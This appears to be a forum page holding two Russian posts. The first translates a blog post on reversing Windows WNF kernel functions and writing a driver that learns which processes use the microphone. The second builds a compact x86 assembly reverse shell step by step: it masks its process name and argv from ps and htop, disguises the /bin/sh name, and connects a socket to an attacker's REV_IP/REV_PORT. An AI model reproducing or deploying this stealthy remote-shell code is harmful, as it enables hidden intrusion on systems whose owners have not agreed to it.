отложить его публикацию по некоторым причинам. Я почти забыл об этом, пока
Алекс не напомнил мне. Поскольку Брюс уже написал действительно хороший пост о
WNF (если вы его пропустили, я рекомендую вам [прочитать его
сейчас](https://gracefulbits.com/2018/08/13/find-which-process-is-using-the-
microphone-from-a-kernel-mode-driver/)), я чувствовал, что мой не принесет
ничего нового, и что для меня не было особого смысла его дорабатывать, но кое-
кто не оставил мне выбора ...: ')
Введение
Некоторое время назад Брюс Данг пригласил пять дам из
BlackHoodie на тренинг Windows Kernel Rootkit в
Recon Montreal.
Барби,
Прия,
Ориан, Энил и я имели возможность побыть там в
течение этих четырех дней интенсивной работы.
В этом посте я не буду описывать программу тренинга (поверьте мне, это было
здорово), но я сосредоточусь на одном из упражнений, которые мне действительно
понравились: реверсированг и (неправильное) использование WNF!
**
Входные данные**
Я вообще не знал этого компонента, так как очень мало информации о нем
доступно в Интернете. Единственными данными в моем распоряжение была следующая
подсказка:
Code:Copy to clipboard
14. Reverse engineer the following Windows kernel functions.
The result of this exercise will be used in the next exercise.
• ExSubscribeWnfStateChange
• ExQueryWnfStateData
15. Write a driver that gets notified when an application is using the microphone.
Print its pid.
Hints:
• check contentDeliveryManager_Utilities.dll for the WNF StateName.
• some interesting info is available here:
http://redplait.blogspot.com/2017/08/wnf-ids-from-perfntcdll.html
Предыстория
Средство уведомлений Windows или WNF - это (не очень известный) компонент
ядра, используемый для отправки уведомлений в системе. Его можно использовать
либо в режиме ядра, либо в пользовательском режиме с набором экспортированных
(но явно не документированных) функций API и связанных структур данных.
Приложение может подписаться на событие определенного типа (идентифицируемое
StateName), чтобы получать уведомления каждый раз, когда происходит изменение
его состояния (которое может быть связано с StateData). С другой стороны,
компонент отправителя отвечает за предоставление данных, которые будут
отправлены с уведомлением, и за запуск события.
Следует отметить, что имена состояний WNF могут быть экземплярами (Scope) для отдельного процесса, изолированного пространства (контейнер Windows) или для всей машины. Например, если приложение запущено внутри изолированного хранилища, оно будет получать уведомления только о событиях в изолированном пространстве, происходящих внутри его собственного контейнера.
Click to expand...
В этом сообщении в блоге я не буду говорить о механизмах пользовательского уровня, задействованных при использовании высокоуровневого API: они выходят за рамки упражнения, и объяснения сделают пост слишком тяжелым. Мы с Алексом Ионеску подробно рассказали о WNF в обоих вариантах на BlackHat USA 2018, который должен опубликовать видео и слайды где-то в ноябре 2018 года (выпуск которого ожидает устранения некоторых уязвимостей, которые должны быть устранены MSRC).
Структуры данных
В WNF задействовано множество структур, и вот упрощенное представление их
взаимосвязи в памяти:
Событие или экземпляр имени состояния WNF представлен в памяти структурой
WNF_NAME_INSTANCE
. Эти структуры сортируются в бинарные деревья и связаны с
областью действия, в которой происходит событие. Области определяют, какую
информацию компонент может просматривать или получать доступ. Они также
позволяют создавать экземпляры разных данных для одного и того же имени
состояния.
Существует пять возможных типов области действия, которые определены следующим образом:
C:Copy to clipboard
typedef enum _WNF_DATA_SCOPE
{
WnfDataScopeSystem = 0x0,
WnfDataScopeSession = 0x1,
WnfDataScopeUser = 0x2,
WnfDataScopeProcess = 0x3,
WnfDataScopeMachine = 0x4,
} WNF_DATA_SCOPE;
Области видимости, идентифицированные структурами WNF_SCOPE_INSTANCE
,
хранятся в двусвязном списке. а их заголовки хранятся в WNF_SCOPE_MAP
,
который является специфичным для хранилища.
Когда компонент подписывается на имя состояния WNF, создается новая структура
WNF_SUBSCRIPTION
, которая добавляется в связанный список, принадлежащий
соответствующему WNF_NAME_INSTANCE
. Если подписчик использует API низкого
уровня (например, тот, который описан ниже), обратный вызов добавляется в
WNF_SUBSCRIPTION
и вызывается, когда компонент должен быть уведомлен.
Объект WNF_PROCESS_CONTEXT
отслеживает все различные структуры,
задействованные для конкретного процесса подписчика. Он также хранит KEVENT
,
используемый для уведомления процесса. Этот контекст доступен либо через
объект EPROCESS
, либо при сканировании двусвязного списка, указанного
параметром nt!ExpWnfProcessesListHead
. Ниже вы можете увидеть представление
этих связей.
Если вам интересно, что означает 0x906, это связано с тем фактом, что все структуры, используемые WNF, имеют крошечный заголовок (обычное явление в структурах данных, связанных с файловой системой Windows), который описывает тип структуры и размер:
C:Copy to clipboard
typedef struct _WNF_CONTEXT_HEADER
{
CSHORT NodeTypeCode;
CSHORT NodeByteSize;
} WNF_CONTEXT_HEADER, *PWNF_CONTEXT_HEADER;
Этот заголовок очень удобен при отладке, так как довольно легко обнаружить объекты в памяти. Вот некоторые коды типов узлов для структур WNF:
C:Copy to clipboard
#define WNF_SCOPE_MAP_CODE ((CSHORT)0x901)
#define WNF_SCOPE_INSTANCE_CODE ((CSHORT)0x902)
#define WNF_NAME_INSTANCE_CODE ((CSHORT)0x903)
#define WNF_STATE_DATA_CODE ((CSHORT)0x904)
#define WNF_SUBSCRIPTION_CODE ((CSHORT)0x905)
#define WNF_PROCESS_CONTEXT_CODE ((CSHORT)0x906)
Время реверсить
Теперь, когда у нас есть некоторое понимание основ, приступим к упражнениям!
Первая часть заключалась в том, чтобы разобрать следующие функции, чтобы
понять их назначение:
C:Copy to clipboard
NTSTATUS
ExSubscribeWnfStateChange (
_Out_ptr_ PWNF_SUBSCRIPTION* Subscription,
_In_ PWNF_STATE_NAME StateName,
_In_ ULONG DeliveryOption,
_In_ WNF_CHANGE_STAMP CurrentChangeStamp,
_In_ PWNF_CALLBACK Callback,
_In_opt_ PVOID CallbackContext
);
ExSubscribeWnfStateChange
позволяет регистрировать новую подписку в движке
WNF. В качестве параметров он принимает, помимо прочего, StateName,
определяющий тип интересующего нас события, и обратный вызов, который будет
вызываться всякий раз, когда срабатывает уведомление. Он также возвращает
новый указатель подписки, который можно использовать для запроса данных,
связанных с уведомлением.
Внутренне эта функция передает поток выполнения только своему частному аналогу
(ExpWnfSubscribeWnfStateChange
), который выполняет всю обработку.
Поскольку имена состояний WNF хранятся в непрозрачном формате,
ExpWnfSubscribeWnfStateChange
сначала декодирует «чистую» версию
идентификатора с помощью ExpCaptureWnfStateName
.
Это чистое имя состояния WNF можно декодировать следующим образом:
C:Copy to clipboard
#define WNF_XOR_KEY 0x41C64E6DA3BC0074
ClearStateName = StateName ^ WNF_XOR_KEY;
Version = ClearStateName & 0xf;
LifeTime = (ClearStateName >> 4) & 0x3;
DataScope = (ClearStateName >> 6) & 0xf;
IsPermanent = (ClearStateName >> 0xa) & 0x1;
Unique = ClearStateName >> 0xb;
Более формально это дает следующую структуру:
C:Copy to clipboard
typedef struct _WNF_STATE_NAME_INTERNAL
{
ULONG64 Version : 4;
ULONG64 Lifetime : 2;
ULONG64 DataScope : 4;
ULONG64 IsPermanent : 1;
ULONG64 Unique : 53;
} WNF_STATE_NAME_INTERNAL, *PWNF_STATE_NAME_INTERNAL;
Затем ExpWnfSubscribeWnfStateChange
вызывает ExpWnfResolveScopeInstance
.
Последний извлекает глобальные хранилища серверов (или nt!PspHostSiloGlobals
в случае, когда не задействован серверный разделитель) и просматривает
несколько структур, чтобы найти WNF_SCOPE_INSTANCE
, которому принадлежит
экземпляр имени. Если этот экземпляр области не существует, он создается и
добавляется в соответствующий список WNF_SCOPE_MAP
. Это показано ниже:
Из этой структуры экземпляра области ExpWnfSubscribeWnfStateChange
выполняет
поиск (с ExpWnfLookupNameInstance
) для WNF_NAME_INSTANCE
, соответствующего
заданному имени состояния WNF.
Если совпадений не найдено, создается новый WNF_NAME_INSTANCE
с помощью
ExpWnfCreateNameInstance
. Этот новый экземпляр добавляется к двоичному
дереву, основанному на WNF_SCOPE_INSTANCE
.
Следующим шагом функции является вызов ExpWnfSubscribeNameInstance
для
создания нового объекта подписки. Как объяснялось ранее, этот объект будет
содержать всю информацию, необходимую движку для запуска уведомлений.
Наконец, ExpWnfSubscribeWnfStateChange
вызывает ExpWnfNotifySubscription
,
чтобы вставить новую подписку в ожидающую очередь и инициировать уведомление.
ExQueryWnfStateData
C:Copy to clipboard
NTSTATUS
ExQueryWnfStateData (
_In_ PWNF_SUBSCRIPTION Subscription,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_ PVOID OutputBuffer,
_Out_ OPULONG OutputBufferSize
);
Эта функция довольно проста, поскольку выполняет всего два действия. Сначала
он извлекает WNF_NAME_INSTANCE
из подписки с
ExpWnfAcquireSubscriptionNameInstance
. Затем он считывает данные, хранящиеся
в нем с помощью ExpWnfReadStateData
, и пытается скопировать их в буфер. Если
этот буфер слишком мал, он запишет только необходимый размер в
OuputBufferSize
и вернет с STATUS_BUFFER_TOO_SMALL
.
Для записи все имена состояний WNF хранят свои данные в памяти в структуре
WNF_STATE_DATA
. Эта структура содержит различные метаданные, такие как
размер данных и количество раз, когда они были обновлены (так называемый
ChangeStamp). Указатель на WNF_STATE_DATA
хранится непосредственно в
WNF_NAME_INSTANCE
, как показано ниже.
Алекс также хотел бы, чтобы я указал, что имена состояний WNF могут быть помечены как постоянные, что означает, что данные (и отметка об изменении) будут сохраняться при перезагрузках (очевидно, с использованием вторичного хранилища данных). Подробнее об этом будет в нашей презентации!
Click to expand...
Давайте кодить!
По сути, с функциями, которые мы изменили, мы должны иметь возможность
зарегистрировать новую подписку и получать уведомления, как любое другое
законное приложение, использующее WNF
Однако нам все еще не хватает одного элемента: нахождения необходимого имени состояния WNF для микрофонна.
Я подробно остановлюсь только на тех частях драйвера, которые имеют отношение к взаимодействию с WNF. Если вас интересует разработка драйверов для Windows, вы можете взглянуть на документацию Windows Driver Kit и их образцы, а еще лучше - посетить один из [учебных курсов Брюса](https://gracefulbits.com/training- courses/)
Click to expand...
Ищем правильное имя состояния WNF
В качестве подсказки для получения имени состояния WNF Брюс предоставил ссылку
на [сообщение](http://redplait.blogspot.com/2017/08/wnf-ids-from-
perfntcdll.html) и имя библиотеки (contentDeliveryManager_Utilities.dll
).
В своей заметке в блоге Redplait определил несколько имен состояний, используемых WNF. К сожалению, того, что мы ищем, нет в списке. Однако это все еще дает нам хорошее начало, поскольку теперь мы знаем, как выглядят имена состояний WNF.
Один наивный подход к поиску того, что мы ищем, - это поискать одно из имен
состояний WNF в блоге в contentDeliveryManager_Utilities.dll
и надеяться,
что будут другие идентификаторы ... К счастью, это работает очень хорошо!
Следуя перекрестной ссылке сопоставленного шаблона в IDA, мы можем получить
полный список имен состояний WNF, на которые есть ссылки в DLL. Каждая запись
в этом списке имеет свое имя и описание, что очень удобно для наших целей!
(Для получения дополнительной информации этот список используется
GetWellKnownWnfStateByName
).
Теперь нам просто нужно найти тот, который специфичен для микрофона (помните наше задание?: P)
Code:Copy to clipboard
.rdata:00000001800E3680 dq offset WNF_AUDC_CAPTURE
.rdata:00000001800E3688 dq offset aWnf_audc_captu ; "WNF_AUDC_CAPTURE"
.rdata:00000001800E3690 dq offset aReportsTheNu_0 ; "Reports the number of, and process ids "...
// “Reports the number of, and process ids of all applications currently capturing audio.
// Returns a WNF_CAPTURE_STREAM_EVENT_HEADER data structure”
Следует отметить, что эта же таблица также доступна с библиотекой perf_nt_c.dll, которая входит в состав анализатора производительности Windows.
Click to expand...
Подписываемся на событие
Чтобы подписаться на новое событие, нам просто нужно вызвать
ExSubscribeWnfStateChange
в нашем драйвере с именем состояния WNF, которое
мы узнали выше. Эта функция экспортируется, но не определена ни в одном
заголовке, поэтому мы должны вручную объявить ее сами, вставив определение
сверху. Обратите внимание, что ntoskrnl.lib содержит заглушку библиотеки
импорта, поэтому нет необходимости извлекать ее адрес вручную (спасибо Alex за
подсказку).
Единственное, что здесь нужно сделать, это вызвать функцию с правильными параметрами:
C:Copy to clipboard
NTSTATUS
CallExSubscribeWnfStateChange (
VOID
)
{
PWNF_SUBSCRIPTION wnfSubscription= NULL;
WNF_STATE_NATE stateName;
NTSTATUS status;
stateName.Data = 0x2821B2CA3BC4075; // WNF_AUDC_CAPTURE
status = ExSubscribeWnfStateChange(&wnfSubscription, &stateName, 0x1, NULL, ¬ifCallback, NULL);
if (NT_SUCCESS(status)) DbgPrint("Subscription address: %p\n", Subscription_addr);
return status;
}
Определяем обратный вызов
Как мы видели ранее, ExSubscribeWnfStateChange
принимает среди своих
параметров обратный вызов, который будет вызываться каждый раз при запуске
события. Этот обратный вызов будет использоваться для получения и обработки
данных о событиях, связанных с уведомлением.
Прототип обратного вызова выглядит так:
C:Copy to clipboard
NTSTATUS
notifCallback (
_In_ PWNF_SUBSCRIPTION Subscription,
_In_ PWNF_STATE_NAME StateName,
_In_ ULONG SubscribedEventSet,
_In_ WNF_CHANGE_STAMP ChangeStamp,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ PVOID CallbackContext
);
Чтобы получить данные в нашем обратном вызове, мы должны вызвать
ExQueryWnfStateDataName
. И снова эта функция экспортируется, но не
определена ни в одном заголовке, поэтому мы должны определить ее сами:
C:Copy to clipboard
NTSTATUS
ExQueryWnfStateData (
_In_ PWNF_SUBSCRIPTION Subscription,
_Out_ PWNF_CHANGE_STAMP CurrentChangeStamp,
_Out_writes_bytes_to_opt_(*OutputBufferSize, *OutputBufferSize) PVOID OutputBuffer,
_Inout_ PULONG OutputBufferSize
);
[...]
Нам нужно вызвать этот API дважды: один раз, чтобы получить размер, необходимый для выделения буфера для данных, и второй раз, чтобы фактически получить данные.
C:Copy to clipboard
NTSTATUS
notifCallback(...)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG bufferSize = 0x0;
PVOID pStateData;
WNF_CHANGE_STAMP changeStamp = 0;
status = ExQueryWnfStateDataFunc(Subscription, &changeStamp, NULL, &bufferSize);
if (status != STATUS_BUFFER_TOO_SMALL) goto Exit;
pStateData = ExAllocatePoolWithTag(PagedPool, bufferSize, 'LULZ');
if (pStateData == NULL) {
status = STATUS_UNSUCCESSFUL;
goto Exit;
}
status = ExQueryWnfStateDataFunc(Subscription, &changeStamp, pStateData, &bufferSize);
if (NT_SUCCESS(status)) DbgPrint("## Data processed: %S\n", pStateData);
[...] // do stuff with the data
Exit:
if (pStateData != nullptr) ExFreePoolWithTag(pStateData, 'LULZ');
return status;
}
Убираем беспорядок при выгрузке драйвера
Если вы вслепую попробуете приведенный выше код, вы получите уродливый синий
экран смерти, как я с болью узнал, когда впервые попробовал это упражнение и
выгрузил свой драйвер! : P Нам нужно заранее удалить нашу подписку.
Для этого мы можем вызвать ExUnsubscribeWnfStateChange
в подпрограмме
выгрузки драйвера (и убедиться, что PWNF_SUBSCRIPTION wnfSubscription
преобразован в глобальную переменную).
C:Copy to clipboard
PVOID
ExUnsubscribeWnfStateChange (
_In_ PWNF_SUBSCRIPTION Subscription
);
VOID
DriverUnload (
_In_ PDRIVER_OBJECT DriverObject
)
{
[...]
ExUnsubscribeWnfStateChange(g_WnfSubscription);
}
Э****пичный провал
Все, что нам нужно сделать, это запустить драйвер, включить Кортану, немного
поиграть с ней и дождаться срабатывания события.
...
Аааа ...! Ничего!
Результат моего упражнения полностью провалился, так как я забыл, что у меня нет звуковой карты на моей виртуальной машине (вероятно, причина, по которой я не мог запустить ни одно из приложений, связанных со звуком ..?>.> ') И, что наиболее важно, из-за к конфигурации моего хоста, я вообще не мог заставить его работать (не спрашивайте).
Тем не менее, чтобы убедиться, что мой драйвер работает правильно, мне
пришлось выбрать другое событие и выбрать
WNF_SHEL_DESKTOP_APPLICATION_STARTED
. Это уведомление отображается каждый
раз при запуске настольного приложения. В свою очередь, он просто выводит имя
запущенного приложения. С этим именем состояния WNF было довольно просто
получить некоторые результаты:
Последние события с WNF
Ранее я показал простой способ поиска имен WNF, просто выполнив поиск имени в
IDA в одной из библиотек DLL, содержащих таблицу. Более надежный способ и
расширяемый подход - получить имена состояний WNF путем синтаксического
анализа библиотеки DLL для поиска таблицы и ее сброса. Хотя это был не тот
подход, который я использовал в упражнении, Алексу нужно было легко следить за
изменениями в именах состояний WNF (добавления / удаления / модификации) из-за
его нездоровой одержимости различать каждую сборку kernel, и я придумал
скрипт, который поможет ему в этом.
Так как я забыл упомянуть об этом на BlackHat, я чувствую, что делаю рекламу. :-^ Этот скрипт можно использовать для сравнения двух библиотек DLL и быстрого получения различий в таблицах, а также для выгрузки данных таблицы из одной библиотеки DLL. Результат - тот, который мы с Алексом использовали для наших приложений wnftool, и его можно легко адаптировать для использования в других программах на C и Python.
Code:Copy to clipboard
$ python .\StateNamediffer.py -h
usage: StateNamediffer.py [-h] [-dump | -diff] [-v] [-o OUTPUT] [-py]
file1 [file2]
Stupid little script to dump or diff wnf name table from dll
positional arguments:
file1
file2 Only used when diffing
optional arguments:
-h, --help show this help message and exit
-dump Dump the table into a file
-diff Diff two tables and dump the difference into a file
-v, --verbose Print the description of the keys
-o OUTPUT, --output OUTPUT Output file (Default: output.txt)
-py, --python Change the output language to python (by default it's c)
Пример вывода (я опубликую скрипт после снятия ноябрьского эмбарго):
C:Copy to clipboard
typedef struct _WNF_NAME
{
PCHAR Name;
ULONG64 Value;
} WNF_NAME, *PWNF_NAME;
WNF_NAME g_WellKnownWnfNames[] =
{
{"WNF_A2A_APPURIHANDLER_INSTALLED", 0x41877c2ca3bc0875}, // An app implementing windows.AppUriHandler contract has been installed
{"WNF_AAD_DEVICE_REGISTRATION_STATUS_CHANGE", 0x41820f2ca3bc0875}, // This event is signalled when device changes status of registration in Azure Active Directory.
{"WNF_AA_CURATED_TILE_COLLECTION_STATUS", 0x41c60f2ca3bc1075}, // Curate tile collection for all allowed apps for current AssignedAccess account has been created
{"WNF_AA_LOCKDOWN_CHANGED", 0x41c60f2ca3bc0875}, // Mobile lockdown configuration has been changed
[...]
}
**
Заключение**
Благодаря этому упражнению у меня была возможность покопаться в компоненте
ядра, о котором я вообще не знал и с которым довольно весело играть. Я многому
научился, и мне очень понравилось пытаться понять, как использовать WNF. Я
определенно провел чудесную неделю в Recon, и я очень счастлив, что побывал
там.
Итак, я еще раз хотел бы поблагодарить Брюса за семинар и за это упражнение. Я так рад, что смог присутствовать. Это круто!
Я также хотел бы поблагодарить Алекса за то, что он позволил мне
присоединиться к BlackHat и за наставничество в этом процессе. Я действительно
ценю то, что он пытается заставить меня найти ответы на мои вопросы
самостоятельно, давая мне подсказки и заставляя сомневаться в моих собственных
предположениях. Самостоятельное выяснение того, чего вы не понимаете,
действительно полезно! Он определенно отличный педагог, и меня до сих пор
поражает количество знаний, которые я получаю от него.
И хотя я не хотел заканчивать этот пост, я уверен, что многому научился,
написав его, поэтому я также очень рад, что он подтолкнул меня продолжить.
Я очень рад познакомиться с ним и надеюсь, что когда-нибудь мы снова будем работать вместе!
И наконец, я очень благодарен своим коллегам за то, что они классные (;D)
От ТС
Эта статья является переводом, а оригинал доступен
[тут](https://blog.quarkslab.com/playing-with-the-windows-notification-
facility-wnf.html)
В переводе могут быть ошибки, по возможности буду исправлять.
Перевод:
Azrv3l cпециально для xss.is
Однажды меня спросили: можно ли написать реверс‑шелл байт эдак на 200, который, помимо прочего, менял бы себе имя, периодически — PID, варил кофе и желательно взламывал Пентагон? Ответ, увы, очевиден — «нельзя». Однако задача, как мне показалось, сама по себе весьма интересная. Посмотрим, какие есть пути к ее решению.
На просторах сети можно легко найти, к примеру, tiny shell, prism и другие реверс‑шеллы. Те из них, что написаны на С, занимают лишь десятки‑сотни килобайт. Так к чему создавать еще один?
А суть вот в чем. Цель данной статьи учебная: равно как разработка ядерных руткитов — один из наиболее наглядных способов разобраться с устройством самого ядра Linux, написание обратного шелла с дополнительной функциональностью и одновременно с ограничениями по размеру исполняемого файла позволяет изучить некоторые неожиданные особенности положения вещей в Linux, в частности касающихся ELF- файлов, их загрузки и запуска, наследования ресурсов в дочерних процессах и работы компоновщика (он же линкер, линковщик, редактор связей). По ходу дела нас ждет множество интересных открытий и любопытных хаков. А бонусом нам будет рабочий инструмент, который заодно можно допиливать и применять в пентесте. Посему начнем!
Результаты трудов доступны на гитхабе.
Итак, наш реверс‑шелл помимо того, что подключаться к заданному хосту на заданный порт, также должен:
Сперва определимся с языком. Поскольку мы стремимся к минимально возможному размеру бинаря, в голову приходит лишь два варианта: С и ассемблер. Однако, как ты, вероятно, знаешь, хоть С и позволяет собирать крохотные по современным меркам Hello World’ы (примерно 17 и ~800 Кбайт при динамической и статической линковке соответственно против 2 Мбайт на Go), при компиляции С‑кода генерируется также код, отвечающий:
Массивы функций‑конструкторов и функций‑деструкторов запускаются перед и после
main() соответственно. Их код находится в отдельных секциях в противовес
«обычному», попадающему в .text. Такие функции используются, например, для
различных инициализаций в разделяемых библиотеках или для установки параметров
буферизации в некоторых приложениях, взаимодействующих по сети (в частности,
это иногда встречается в CTF-тасках). Чтобы функция попала в одну из этих
секций, следует указывать attribute ((constructor)) или attribute
((destructor)) перед определением функции.
В некоторых случаях секции, хранящие эти функции, могут иметь имена
.ctors/.init/.init_array и .dtors/.fini/.fini_array. Все они играют в целом
одну роль, и [различия](https://stackoverflow.com/questions/28564078/why-does-
gcc-put-calls-to-constructors-of-global-instances-into-different-sectio) нас в
рамках данной статьи не интересуют. Подробнее о глобальных конструкторах и
деструкторах можно почитать на
wiki.osdev.org.
Также на выходе исполняемый файл может содержать секции с отладочной и прочей
информацией (например, имена символов, версия компилятора), которая не
используется непосредственно для его запуска и работы, но занимаемое файлом
пространство увеличивает, и иногда значительно. О таких секциях мы поговорим
немного позже.
Данная обвязка неразрывно связана с С‑бинарями как минимум в Linux. Для нас же в рамках нашей задачи она — балласт, от которого необходимо нещадно избавляться. Так что реверс‑шелл наш будет написан на великом и ужасном языке ассемблера (естественно, под x86). План таков: сперва напишем рабочий код, а уже затем будет заниматься кардинальным уменьшением его размера.
Мы будем использовать NASM. За основу возьмем простейший асмовый реверс‑шелл. Размышления на тему, должен ли наш код быть 32- или 64-битным, привели меня к выводу, что первый вариант предпочтительнее: инструкции в этом режиме меньше, а необходимой функциональности мы не теряем, ведь наша главная задача по сути состоит лишь в подключении к серверу и запуске оболочки, а сама она будет работать уже в 64-битном режиме.
Код будет делать следующее:
Что ж, за дело!
В Linux можно встретить две «сущности», хранящие связанное с процессом имя.
Назовем их «полное» и «краткое имя». Оба доступны через /proc: полное в
/proc/
Краткое имя, согласно описанию, содержит имя исполняемого файла без пути до него. Это имя хранится в ядерной структуре task_struct, описывающей процесс (задачу, если более корректно в терминах ядра), и имеет ограничение длины в 16 символов, включая нуль‑байт.
Полное имя содержит аргументы запуска программы, они же *argv[]: в нулевом элементе массива — имя исполняемого файла так, как оно было указано при запуске; в остальных — аргументы, если они были переданы.
Смена краткого имени сложностей не вызывает. Воспользуемся для этого системным вызовом prctl(). С его помощью процесс или поток может осуществлять различные операции над самим собой: над своим именем, привилегиями (capabilities), областями памяти, режимом [seccomp](https://www.kernel.org/doc/html/latest/userspace- api/seccomp_filter.html) и много чем еще. Номер нужной операции передается первым аргументом, затем идут остальные параметры, число которых может варьироваться. Нас интересует операция PR_SET_NAME, где вторым аргументом передается указатель на новое имя. При этом, если имя с нуль‑байтом длиннее 16 символов, оно будет обрезано.
Таким образом, для смены краткого имени нужно вызвать prctl(PR_SET_NAME, NEW_ARGV), где NEW_ARGV содержит адрес нового имени. Для этого используем следующий код:
Code:Copy to clipboard
mov eax, 0xac ; NR_PRCTL
mov ebx, 15 ; PR_SET_NAME
mov ecx, NEW_ARGV
int 0x80 ; syscall interrupt
...
NEW_ARGV:
db "s0l3g1t", 0
Много полезной информации о системных вызовах можно найти в man 2 syscall. Там же для зоопарка поддерживаемых в Linux платформ и ABI есть две таблицы: с инструкциями для совершения системного вызова и с регистрами, используемыми при передаче аргументов и возврате значений. Имей в виду, что соглашения о вызовах, по крайней мере на x86, отличаются от таковых в юзермодных приложениях.
Попробуем теперь переписать argv[0]. Следующий кусок кода выполняет действия, аналогичные сишной strncpy(&argv[0], NEW_ARGV, strlen(argv[0] + 1)), при этом адрес argv[0] предварительно был положен на стек:
Code:Copy to clipboard
mov edi, [esp] ; edi = &argv[0]
mov esi, NEW_ARGV
mov ecx, _start - NEW_ARGV ; ecx = strlen(NEW_ARGV) + NULL-byte
_name_loop:
movsb ; edi[i] = esi[i] ; i+=1
loop _name_loop
...
NEW_ARGV:
db "s0l3g1t", 0
_start:
...
Этот адрес помещается в регистр edi (destination index register). В регистр esi (source index register) отправляется адрес устанавливаемого нами имени "s0l3g1t", а в ecx — его длина, включая нулевой байт. Однако оказывается, что если изначальный argv[0] ("./asm_shell") был длиннее нового, то, несмотря на наличие завершающего нуль‑байта, вывод ps будет таков.
Вывод ps при перезаписи нулевого аргумента «в лоб»
Как‑то не особо здорово. Попробуем его сначала заполнить нулями и лишь затем перезаписывать.
Вывод ps при перезаписи зануленного нулевого аргумента
Уже лучше — в выводе ps ничего подозрительного! Хотя все еще есть к чему стремиться. А что скажет нам мануал? Совсем немного поискав, натыкаемся на такое место в man 5 proc (подраздел о /proc/[pid]/cmdline):
Furthermore, a process may change the memory location that this file refers via prctl(2) operations such as PR_SET_MM_ARG_START.
Click to expand...
А в man 2 prctl находим, помимо параметра PR_SET_MM_ARG_START, также PR_SET_MM_ARG_END (с небольшой пометкой, что эти опции доступны начиная с версии Linux 3.5). Кажется, второй параметр — как раз то, что надо! Да вот незадача: для выполнения операций prctl(), затрагивающих память процесса, нужна привилегия CAP_SYS_RESOURCE (иначе ведь было бы слишком уж просто!). А ее установка требует прав суперпользователя.
По этой же причине замена адреса самого массива строк argv[] на стеке «в лоб» не приведет к смене содержимого /proc/[pid]/cmdline: Linux хранит адреса начала и конца памяти, где находятся аргументы процесса, причем содержимое именно этой памяти и выводится. То же верно и для переменных окружения. И потому xxd выводит нули.
В общем, будем исходить из предположения, что реверс‑шелл запущен от имени простого пользователя и возможности установить CAP_SYS_RESOURCE никоим образом нет. Поэтому просто занулим весь изначальный argv[0] и запишем поверх него свой. Часто ли кому‑либо приходит в голову смотреть имя процесса через /proc в xxd?
Осталось разобраться с подменой имени /bin/sh, ведь после вызова execve() для
запуска шелла его *argv[] будет предательски являть взору админа /bin/sh в
выводе ps и htop, а также в /proc/
Code:Copy to clipboard
xor eax, eax
push dword 0x0068732f ; push "/sh"
push dword 0x6e69622f ; push /bin (="/bin/sh")
mov ebx, esp ; ebx = ptr to "/bin/sh" into ebx
push edx ; edx = 0x00000000
mov edx, esp ; **envp = edx = ptr to NULL address
push ebx ; pointer to /bin/sh
push 0
push NEW_ARGV
mov ecx, esp ; ecx points to shell's argv[0] ( &NEW_ARGV )
mov al, 0xb
int 0x80 ; execve("/bin/sh", &{ NEW_ARGV, 0 }, 0)
Но сменить при этом и краткое имя через prctl() так просто мы уже не можем, поскольку работаем из оболочки, где вызов сисколов напрямую недоступен. Однако есть иные [интересные способы](https://unix.stackexchange.com/questions/169987/update-process-name- in-shell-is-it-possible/280113#280113) это сделать.
Чтобы соединиться с сервером, нужно создать сокет, заполнить структуру, содержащую адрес для подключения, — struct sockaddr и приконнектиться по нему.
Сокет — конечная точка соединения в Linux, и не обязательно это сетевое соединение, как в случае unix- и netlink-сокетов. При создании сокета необходимо указать семейство адресов, или протоколов (на текущий момент первые — это псевдонимы вторых), которому он будет принадлежать, тип сокета (потоковый, датаграммный, сырой и прочие) и протокол (зависит от семейства, см. man protocols). Нам необходим потоковый (TCP, SOCK_STREAM) интернет‑сокет (семейство AF_INET), а протокол при передаче нуля будет выбран автоматически:
Code:Copy to clipboard
mov al, 0x66 ; 0x66 = 102 = socketcall()
push ebx ; 3rd arg: socket protocol = 0
mov bl, 0x1 ; ebx = 1 = socket() function
push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM)
push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
mov ecx, esp ; copy stack structure's address to ecx (pointer)
int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0)
На некоторых платформах (в частности, x86_32) для сокетных функций вместо отдельных сисколов socket(), bind(), connect() и так далее используется единый системный вызов socketcall(), первым аргументом которому передается номер необходимой функции. Эти номера определены в ядре Linux. Вопрос сокетных системных вызовов немного освещен в этой статье.
Параметр struct sockaddr — это что‑то вроде «базового класса» для описания адресов различных протоколов. Он имеет лишь два поля:
Code:Copy to clipboard
/* Structure describing a generic socket address. */
struct sockaddr {
unsigned short sa_family; /* Common data: address family and length. */
char sa_data[14]; /* Address data. */
};
Значение первого должно совпадать с семейством созданного прежде сокета. И именно второе поле описывает адрес, с которым будет связан сокет. Как ты понимаешь, в разных протоколах форматы адресов отличаются, поэтому существуют также sockaddr_in/sockaddr_in6 (internet-сокеты), sockaddr_un (unix-сокеты) и многие другие. Хотя все они — своего рода надстройка над структурой sockaddr, к типу которой спокойно приводятся для поддержания единого API сокетных функций. К примеру, sockaddr_in делит поле sa_data на IP-адрес и номер порта, при этом остается восемь неиспользуемых байт (см. также man 7 ip):
Code:Copy to clipboard
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
unsigned char sin_zero[8]; /* Pad to size of 'struct sockaddr' */
};
/* Internet address */
struct in_addr {
uint32_t s_addr; /* address in network byte order */
};
В общем, наша задача — корректно сформировать эту структуру на стеке и передать ее адрес системному вызову connect(). Как отмечено, порт (REV_PORT) и IP-адрес (REV_IP) в этой структуре должны иметь сетевой порядок байтов, то есть быть Big Endian (MSB). Следующий код осуществляет вызов connect(socketfd, addr, sizeof(addr)), где socketfd был получен нами ранее:
Code:Copy to clipboard
mov al, 0x66 ; 0x66 = 102 = socketcall()
push dword REV_IP ; Remote IP address
push word REV_PORT ; Remote port
push word 0x0002 ; sin_family = 2 (AF_INET)
mov ecx, esp ; ecx = ptr to *addr structure
push byte 16 ; addr_len = 16 (structure size)
push ecx ; push ptr of args structure
push ebx ; ebx = socketfd
mov bl, 0x3 ; ebx = 3 = connect()
mov ecx, esp ; save esp into ecx, points to socketfd
int 0x80 ; eax = connect(socketfd, *addr[2, PORT, IP], 16) = 0 on success
